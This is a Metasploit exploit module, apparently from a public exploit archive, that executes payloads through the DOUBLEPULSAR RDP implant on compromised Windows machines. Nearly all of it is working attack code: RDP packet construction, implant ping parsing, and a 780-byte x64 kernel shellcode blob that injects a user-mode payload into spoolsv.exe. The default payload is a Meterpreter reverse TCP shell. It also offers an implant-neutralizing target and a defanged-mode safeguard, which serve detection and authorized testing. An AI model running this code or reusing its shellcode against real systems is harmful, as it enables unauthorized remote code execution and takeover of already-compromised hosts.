This Metasploit module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for RDP. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant.
f0ef0fcf7c306ca7fdaac1b457a5965fc0fb4660b034334c65eb4de1b10073d7
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::RDP
MAX_SHELLCODE_SIZE = 4096
def initialize(info = {})
super(update_info(info,
'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',
'Description' => %q{
This module executes a Metasploit payload against the Equation Group's
DOUBLEPULSAR implant for RDP.
While this module primarily performs code execution against the implant,
the "Neutralize implant" target allows you to disable the implant.
},
'Author' => [
'Equation Group', # DOUBLEPULSAR implant
'Shadow Brokers', # Equation Group dump
'Luke Jennings', # DOPU analysis and detection
'wvu', # RDP DOPU analysis and module
'Tom Sellers', # RDP DOPU analysis
'Spencer McIntyre' # RDP DOPU analysis
],
'References' => [
['URL', 'https://github.com/countercept/doublepulsar-detection-script']
],
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Privileged' => true,
'Payload' => {
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
'DisableNops' => true
},
'Targets' => [
['Execute payload (x64)',
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
],
['Neutralize implant',
'DefaultOptions' => {
'PAYLOAD' => nil # XXX: "Unset" generic payload
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['DOUBLEPULSAR'],
'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],
'Stability' => [CRASH_OS_DOWN],
'Reliability' => [REPEATABLE_SESSION]
}
))
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
])
end
OPCODES = {
exec: 0x01,
ping: 0x02,
burn: 0x03
}.freeze
DOUBLEPULSAR_MAGIC = 0x19283744
# https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw
def parse_doublepulsar_ping(res)
return unless res && res.length == 288
magic, _size, major, minor, build = res.unpack('V5')
sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')
return unless magic == DOUBLEPULSAR_MAGIC
ver_str = "#{major}.#{minor}.#{build}"
sp_str = "SP#{sp_major}"
prod_str =
case prod
when 1
'Workstation'
when 2
'Domain Controller'
when 3
'Server'
end
arch_str =
case arch
when 1
'x86'
when 2
'x64'
end
"Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"
end
def setup
super
rdp_connect
is_rdp, server_selected_protocol = rdp_check_protocol
fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp
case server_selected_protocol
when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX
fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')
when RDPConstants::PROTOCOL_SSL
vprint_status('Swapping plain socket to SSL')
swap_sock_plain_to_ssl
end
rescue Rex::ConnectionError, RdpCommunicationError => e
fail_with(Failure::Disconnected, e.message)
end
def cleanup
rdp_disconnect
super
end
def check
print_status('Sending ping to DOUBLEPULSAR')
res = do_rdp_doublepulsar_pkt(OPCODES[:ping])
unless (info = parse_doublepulsar_ping(res))
print_error('DOUBLEPULSAR not detected or disabled')
return CheckCode::Safe
end
print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
print_good("Target is #{info}")
CheckCode::Vulnerable
end
def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.
Disable the DefangedMode option if you have authorization to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
# No ForceExploit because check is accurate
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
end
case target.name
when 'Execute payload (x64)'
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
vprint_status("Total shellcode length: #{shellcode.length} bytes")
print_status('Sending shellcode to DOUBLEPULSAR')
res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)
when 'Neutralize implant'
return neutralize_implant
end
if res
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
end
print_good('Payload execution successful')
end
def neutralize_implant
print_status('Neutralizing DOUBLEPULSAR')
res = do_rdp_doublepulsar_pkt(OPCODES[:burn])
if res
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
end
print_good('Implant neutralization successful')
end
def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))
rescue Errno::ECONNRESET, RdpCommunicationError
nil
end
=begin
MULTIPOINT-COMMUNICATION-SERVICE T.125
DomainMCSPDU: channelJoinConfirm (15)
channelJoinConfirm
result: rt-domain-not-hierarchical (2)
initiator: 14120
requested: 6402
=end
def make_rdp_mcs_doublepulsar(opcode, body)
data = "\x3c" # channelJoinConfirm
data << [DOUBLEPULSAR_MAGIC].pack('V')
data << [opcode].pack('v')
if body
data << [body.length, body.length, 0].pack('V*')
data << body
end
build_data_tpdu(data)
end
# ring3 = user mode encoded payload
# proc_name = process to inject APC into
def make_kernel_user_payload(ring3, proc_name)
sc = make_kernel_shellcode(proc_name)
sc << [ring3.length].pack('S<')
sc << ring3
sc
end
def generate_process_hash(process)
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
proc_hash = 0
process << "\x00"
process.each_byte do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c
end
[proc_hash].pack('l<')
end
def ror(dword, bits)
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end
def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 780 bytes
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
generate_process_hash(proc_name.upcase) +
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
end
def kernel_shellcode_size
make_kernel_shellcode('').length
end
end